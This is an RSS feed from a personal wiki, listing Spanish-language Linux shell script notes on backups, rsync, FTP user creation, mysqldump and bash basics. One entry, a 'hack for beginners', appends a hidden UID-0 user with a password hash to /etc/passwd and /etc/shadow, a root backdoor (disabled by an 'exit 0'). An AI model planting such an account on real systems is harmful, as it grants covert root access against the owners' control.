<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="FeedCreator 1.8" -->
<?xml-stylesheet href="https://miguelangel.torresegea.es/wiki/lib/exe/css.php?s=feed" type="text/css"?>
<rdf:RDF
    xmlns="http://purl.org/rss/1.0/"
    xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
    xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
    xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel rdf:about="https://miguelangel.torresegea.es/wiki/feed.php">
        <title>miguel angel torres egea</title>
        <description></description>
        <link>https://miguelangel.torresegea.es/wiki/</link>
        <image rdf:resource="https://miguelangel.torresegea.es/wiki/_media/wiki:dokuwiki-128.png" />
       <dc:date>2026-05-23T16:27:40+00:00</dc:date>
        <items>
            <rdf:Seq>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:home?rev=1654849975&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:tareasserver?rev=1347554934&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:backupgpg?rev=1584903148&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:protocolobackup?rev=1330366804&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:arrayloop?rev=1589545895&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:backupselectivo?rev=1576005342&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:rsync?rev=1321351182&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:vsftp?rev=1321351182&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:backup2?rev=1321351182&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:getopts?rev=1547928366&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:1st-last?rev=1321351182&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:10minutos?rev=1476137592&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:backup1?rev=1321351182&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:forfolders?rev=1613915129&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:hack1?rev=1321351182&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:mysqldump?rev=1326822530&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:phpscript?rev=1328010857&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:prune?rev=1605525940&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:random?rev=1351193089&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:recopilator?rev=1321351182&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:select?rev=1536148142&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:twitter?rev=1321985887&amp;do=diff"/>
                <rdf:li rdf:resource="https://miguelangel.torresegea.es/wiki/linux:scripts:utils?rev=1605886849&amp;do=diff"/>
            </rdf:Seq>
        </items>
    </channel>
    <image rdf:about="https://miguelangel.torresegea.es/wiki/_media/wiki:dokuwiki-128.png">
        <title>miguel angel torres egea</title>
        <link>https://miguelangel.torresegea.es/wiki/</link>
        <url>https://miguelangel.torresegea.es/wiki/_media/wiki:dokuwiki-128.png</url>
    </image>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:home?rev=1654849975&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2022-06-10T08:32:55+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>mis ficheros $HOME</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:home?rev=1654849975&amp;do=diff</link>
        <description>mis ficheros $HOME

.bash_profile


# ~/.bash_profile: executed by bash(1) for login shells.

# quita el permiso de excritura al others
umask 002

#prompt por defecto
PS1=&#039;[\h]$ &#039;

# prompt de color en 2 lineas
if [ -f &quot;.prompt&quot; ]; then
  export PS1=`cat .prompt`
fi

if [ -f &quot;.bashrc&quot; ]; then
  source ~/.bashrc
fi

# variables de entorno
export EDITOR=&quot;vim&quot;
export LANG=en_US.ISO-8859-15

# echo &quot;&gt; .bash_profile&quot;</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:tareasserver?rev=1347554934&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2012-09-13T16:48:54+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>Tareas Server</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:tareasserver?rev=1347554934&amp;do=diff</link>
        <description>Tareas Server

en /root/add_user_ERE.sh


#!/bin/bash

# funciones del script
genpasswd() {
        local l=$1
        [ &quot;$l&quot; == &quot;&quot; ] &amp;&amp; l=16
        echo `tr -dc A-Za-z0-9_ &lt; /dev/urandom | head -c ${l} | xargs`
}


# comprobar que pasa el parametro del nombre
if [ $# -ne 1 ]; then
    echo &quot;Usage Error!&quot;
    echo &quot;ftp_add_user.sh usuario&quot;
    echo &quot; &gt; introduce el nombre de usuario!&quot;
    exit -1
fi

# crea el usuario
#   -m (opcion que existia y he quitado)
#   -M para que no intente crear el …</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:backupgpg?rev=1584903148&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2020-03-22T18:52:28+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>backup, encriptado y copia a remoto</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:backupgpg?rev=1584903148&amp;do=diff</link>
        <description>backup, encriptado y copia a remoto

2.2

	*  disociar parámetros de script en 2 ficheros
		*  usar source para incluir las variables necesarias
		*  o volver a mirar opciones de usar otro tipo de fichero (INI,JSON)


v2.1

	*  sustitución GPG por</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:protocolobackup?rev=1330366804&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2012-02-27T18:20:04+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>Protocolo de Backup</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:protocolobackup?rev=1330366804&amp;do=diff</link>
        <description>Protocolo de Backup

	*  master -&gt; servidor que hace las copias de seguridad
	*  esclavo(s) -&gt; servidor que se deja hacer las copias de seguridad

esclavo

	*  (1) crear cuenta específica para backups: $ useradd -c «Usuario de backup» -m -d /home/bck bck</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:arrayloop?rev=1589545895&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2020-05-15T12:31:35+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>array loop</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:arrayloop?rev=1589545895&amp;do=diff</link>
        <description>array loop


#!/bin/bash

INDEX=1

Code[$INDEX]=code1
Name[$INDEX]=name1
Tenant1[$INDEX]=tenant1
Tenant2[$INDEX]=tenant21

INDEX=$(($INDEX + 1))

Code[$INDEX]=code2
Name[$INDEX]=name2
Tenant1[$INDEX]=tenant2
Tenant2[$INDEX]=tenant22

for i in &quot;${Code[@]}&quot;; do
  printf &#039;%s\n&#039; &quot;$i&quot;
done

for i in &quot;${!Code[@]}&quot;; do 
  printf &quot;%s\t%s\t%s\t%s\t%s\n&quot; &quot;$i&quot; &quot;${Code[$i]}&quot; &quot;${Name[$i]}&quot; &quot;${Tenant1[$i]}&quot; &quot;${Tenant2[$i]}&quot;
done</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:backupselectivo?rev=1576005342&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2019-12-10T19:15:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>backup selectivo</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:backupselectivo?rev=1576005342&amp;do=diff</link>
        <description>backup selectivo

pendiente wiki
RASP-HOLE
&lt;https://stackoverflow.com/questions/8033857/tar-archiving-that-takes-input-from-a-list-of-files&gt;

&lt;https://stackoverflow.com/questions/984204/shell-command-to-tar-directory-excluding-certain-files-folders&gt;


#! /bin/bash

PATH_LOCAL=/home/pi/backup

#tar vczf ${PATH_LOCAL}/pihole-raspi.tar.gz --files-from ${PATH_LOCAL}/files.txt --exclude-tag-all=.nobackup -X ${PATH_LOCAL}/exclude.txt
tar vczf ${PATH_LOCAL}/pihole-raspi.tar.gz --files-from ${PATH_LOCAL…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:rsync?rev=1321351182&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-15T09:59:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>rsync.sh</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:rsync?rev=1321351182&amp;do=diff</link>
        <description>rsync.sh


#!/bin/bash
#
# parametros RSYNC
#   - r == recursive
#   - p == preserve permisions
#   - t == preserve times
#   - q == supress non-error messages
#   - o == preserve owner
#   - g == preserve group
#   - L == copy-links
#   - v == verbose

RSYNC=/usr/bin/rsync
SSH=/usr/bin/ssh
KEY=/root/.ssh/rsa_192.168.3.199
RUSER=backup
RHOST=192.168.3.199
RPATH=/home/backup
LPATH=/home/backups/wardog.eurorscg.es
TITLE=&quot;to_be_changed&quot;
DATE=`eval date +%y%m%d`

# $RSYNC -az -e &quot;$SSH -i $KEY&quot; $RUSE…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:vsftp?rev=1321351182&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-15T09:59:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>scripts alta usuarios vsFTP</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:vsftp?rev=1321351182&amp;do=diff</link>
        <description>scripts alta usuarios vsFTP

script «mejorado», se puede utilizar como shell de usuario:


#! /bin/bash

genpasswd() {
        local l=$1
        [ &quot;$l&quot; == &quot;&quot; ] &amp;&amp; l=16
        echo `tr -dc A-Za-z0-9_ &lt; /dev/urandom | head -c ${l} | xargs`
}

clear
echo -n &quot;Introduce nombre cliente: &quot;
read CLIENTE

# aÃ± usuario
/usr/sbin/useradd -m -g ftp_arnoldfuel_es_clientes -s /bin/true -d /var/ftp/ftp.arnoldfuel.es/$CLIENTE -c &quot;Carpeta ftp para el cliente $CLIENTE&quot; $CLIENTE

echo -n &quot;sugerencia de password…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:backup2?rev=1321351182&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-15T09:59:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>backup de archivos</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:backup2?rev=1321351182&amp;do=diff</link>
        <description>backup de archivos

backup varias carpetas de una lista



#!/bin/bash
#
# file system backup
#

# directorios de los que hacer backup, separado por espacio, sin / final
LISTA=&quot;/etc /var&quot;

# RUTAS
# Local Directory for Dump Files
LOCALDIR=/home/backups/tmp/
# Prefix for offsite .tar file backup
HOSTNAME=pandora
MAIL=root@$HOSTNAME
LOG_DATE=&quot;$(date +%y)$(date +%m)$(date +%d)&quot;
SUFFIX=`eval date +%y%m%d`


# APP
# crea un tar de los directorios especificados en LISTA
for directorio in $LISTA
do
   …</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:getopts?rev=1547928366&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2019-01-19T20:06:06+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>getopts</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:getopts?rev=1547928366&amp;do=diff</link>
        <description>getopts

buen tutorial: &lt;https://wiki.bash-hackers.org/howto/getopts_tutorial&gt;

uso

	*  la cadena que acompaña a la instrucción getopts indica las opciones disponibles
	*  getopts OPTSTRING VARNAME [ARGS...]
		*  OPTSTRING:
			*  h: comprueba la opción -h sin parámetros. Da error en opciones no soportadas</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:1st-last?rev=1321351182&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-15T09:59:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>ejecutar el primer o último día del mes</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:1st-last?rev=1321351182&amp;do=diff</link>
        <description>ejecutar el primer o último día del mes


#! /usr/bin/ksh
alias datecalc=/usr/local/bin/datecalc

#  weekselector ---  script to assist in scheduling cron jobs
#  Perderabo  Oct 11, 2003
#
#  example:
#  You want to run command1 on the first monday of each month and
#  you want to run command2 on the last monday of each month.
#  Just use this syntax:
#
#    0 0 * * 1 /usr/local/bin/weekselector 1st &amp;&amp; command1
#    0 0 * * 1 /usr/local/bin/weekselector last &amp;&amp; command2
#
#  Version 2.0  March 2…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:10minutos?rev=1476137592&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2016-10-10T22:13:12+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>backup 10 minutos al día</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:10minutos?rev=1476137592&amp;do=diff</link>
        <description>backup 10 minutos al día

explicación

Mira en los directorioes asignados si ha habído cambios desde la última vez, si hay algún cambio, haceel backup completo, lo encripta y lo envía a un SFTP

Si no hay cambios, envía al SFTP un archivo SINCAMBIOS vacío.</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:backup1?rev=1321351182&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-15T09:59:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>backup sistema</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:backup1?rev=1321351182&amp;do=diff</link>
        <description>backup sistema

Crea TARs de varios directorios del sistema, para realizar un backup «completo»

	*  buzones de correo
	*  BBDD del servidor MySQL
	*  directorio de configuración /etc
	*  directorios /home


#!/bin/bash -x

# mejoras a realizar:
#       - comprobar la existencia del directorio destino con    [ -d ];
#       - utilizar /etc/mysql/debian.cnf para el usuario/password de mysql

# ubicaciones
path_backup=/root/bck
path_correo=/home/vmail/
path_mysql_trans=/var/log/mysql/

# backup bu…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:forfolders?rev=1613915129&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2021-02-21T13:45:29+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>linux for-folders</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:forfolders?rev=1613915129&amp;do=diff</link>
        <description>linux for-folders


OIFS=&quot;$IFS&quot;
IFS=$&#039;\n&#039;
for f in `ls -d Gan*`; do unrar e &quot;${f}/${f}.part1.rar&quot;; done
IFS=$OIFS


linux ifs</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:hack1?rev=1321351182&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-15T09:59:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>hack de Kenneth Peiruza, para novatos</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:hack1?rev=1321351182&amp;do=diff</link>
        <description>hack de Kenneth Peiruza, para novatos


#!/bin/bash
exit 0

if [ &quot;`grep -c ^koot: /etc/passwd`&quot; -eq &quot;0&quot; ]; then
echo &#039;koot:x:0:0:root:/root:/bin/bash&#039;&gt;&gt; /etc/passwd
echo &#039;koot:$1$OH8/Yip3$AbOovCR/DzDhO5.6M1Pso/:13998:0:99999:7:::&#039; &gt;&gt; /etc/shadow


fi</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:mysqldump?rev=1326822530&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2012-01-17T17:48:50+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>mysqldump</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:mysqldump?rev=1326822530&amp;do=diff</link>
        <description>mysqldump


#!/bin/bash

#
# BD
#

# MySQL Hostname
DBHOST=&#039;localhost&#039;

# MySQL Username
DBUSER=&#039;root&#039;

# MySQL Password
DBPASSWD=&#039;xxx&#039;

#
# RUTAS
#

# Local Directory for Dump Files
LOCALDIR=/home/www/mysqldump/

# Prefix for offsite .tar file backup
TARPREFIX=backup_mysql_&lt;server&gt;

#
# APP
#

cd $LOCALDIR
SUFFIX=`eval date +%y%m%d`

# DBS=`mysql -u$DBUSER -h$DBHOST -e&quot;show databases&quot;`
DBS=`mysql -u$DBUSER -p&quot;$DBPASSWD&quot; -h&quot;$DBHOST&quot; -e&quot;show databases&quot;`
# existe versión con SED para eliminar /Dat…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:phpscript?rev=1328010857&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2012-01-31T11:54:17+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>Ejecución PHP desde CRON sin problemas</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:phpscript?rev=1328010857&amp;do=diff</link>
        <description>Ejecución PHP desde CRON sin problemas

en muchas ocasiones queremos ejecutar un script en PHP para realizar una tarea programadaen muchas ocasiones tenemos problemas con los INCLUDES o PATHS debido a que la ejecución del script desde APACHE difiere en el entorno que al ejecutarlo desde línea de comando.</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:prune?rev=1605525940&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2020-11-16T11:25:40+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>prune</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:prune?rev=1605525940&amp;do=diff</link>
        <description>prune

	*  eliminar archivos «viejos», preservando 1
	*  la fecha ha de estar incluida en el nombre del fichero
	*  para copias de seguridad
	*  en ese caso, conservar el último mes a diario y una mensual (la primera de mes, más sencillo para calcular)</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:random?rev=1351193089&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2012-10-25T19:24:49+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>Crear ficheros de contenido aleatorio</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:random?rev=1351193089&amp;do=diff</link>
        <description>Crear ficheros de contenido aleatorio

útil para sobreescribir un disco... creará 10000 ficheros con datos aleatorios cogidos de /dev/sda, saltándose bloques aleatoriamente y leyendo bloques aleatoriamente


no_of_files=10000;
counter=1;
while [[ $counter -le $no_of_files ]]; 
 do echo Creating file no $counter;
  dd bs=65535 count=$RANDOM skip=$RANDOM if=/dev/sda of=random-file.$counter;
  let &quot;counter += 1&quot;;
done</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:recopilator?rev=1321351182&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-15T09:59:42+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>recopilación de información del sistema</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:recopilator?rev=1321351182&amp;do=diff</link>
        <description>recopilación de información del sistema


#!/bin/bash
# recopilator.sh
# by Miguel Angel Torres aka mate
# recopila informaciÃ³n del sistema.

separador()
{
# funciÃ³n encargada de imprimir el separador entre secciones

        echo &#039;****************************************************************************&#039;
        # comprueba si el primer parÃ¡metro contiene algo
        if [ -n &quot;$1&quot; ]; then
          echo $1
        else
          echo &#039;&#039;
        fi
}

ejecutaComando()
{
        separador &quot;…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:select?rev=1536148142&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2018-09-05T11:49:02+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>select</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:select?rev=1536148142&amp;do=diff</link>
        <description>select


#!/bin/bash
OPCIONES=&quot;Hola Salir&quot;
select opt in $OPCIONES; do
	if [ &quot;$opt&quot; = &quot;Salir&quot; ]; then
        	echo done
                exit
	elif [ &quot;$opt&quot; = &quot;Hola&quot; ]; then
        	echo Hola Mundo
        else
                clear
                echo opción errónea
        fi
done</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:twitter?rev=1321985887&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2011-11-22T18:18:07+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>Twitter desde linea de comando</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:twitter?rev=1321985887&amp;do=diff</link>
        <description>Twitter desde linea de comando


#!/bin/bash
#Twitter status update bot by http://360percents.com
#Author: Luka Pusic &lt;pusic93@gmail.com&gt;

#REQUIRED PARAMS
username=&quot;user@email.com&quot;
password=&quot;passw0rd&quot;
tweet=&quot;$*&quot; #must be less than 140 chars

#EXTRA OPTIONS
uagent=&quot;Mozilla/5.0&quot; #user agent (fake a browser)
sleeptime=0 #add pause between requests

if [ $(echo &quot;${tweet}&quot; | wc -c) -gt 140 ]; then
	echo &quot;[FAIL] Tweet must not be longer than 140 chars!&quot; &amp;&amp; exit 1
fi

touch &quot;cookie.txt&quot; #create a temp…</description>
    </item>
    <item rdf:about="https://miguelangel.torresegea.es/wiki/linux:scripts:utils?rev=1605886849&amp;do=diff">
        <dc:format>text/html</dc:format>
        <dc:date>2020-11-20T15:40:49+00:00</dc:date>
        <dc:creator>Anonymous (anonymous@undisclosed.example.com)</dc:creator>
        <title>control de flujo / testing</title>
        <link>https://miguelangel.torresegea.es/wiki/linux:scripts:utils?rev=1605886849&amp;do=diff</link>
        <description>control de flujo / testing

	*  más información: &lt;http://www.ibm.com/developerworks/library/l-bash-test/index.html&gt;
	*  test y || &amp;&amp;
		*  se pueden concatenar comandos con || (OR) o con &amp;&amp; (AND)
		*  test es equivalente al if, pero no permite bloques de comandos
		*  ejemplos:
			*  test -x /usr/sbin/anacron || exit 0</description>
    </item>
</rdf:RDF>
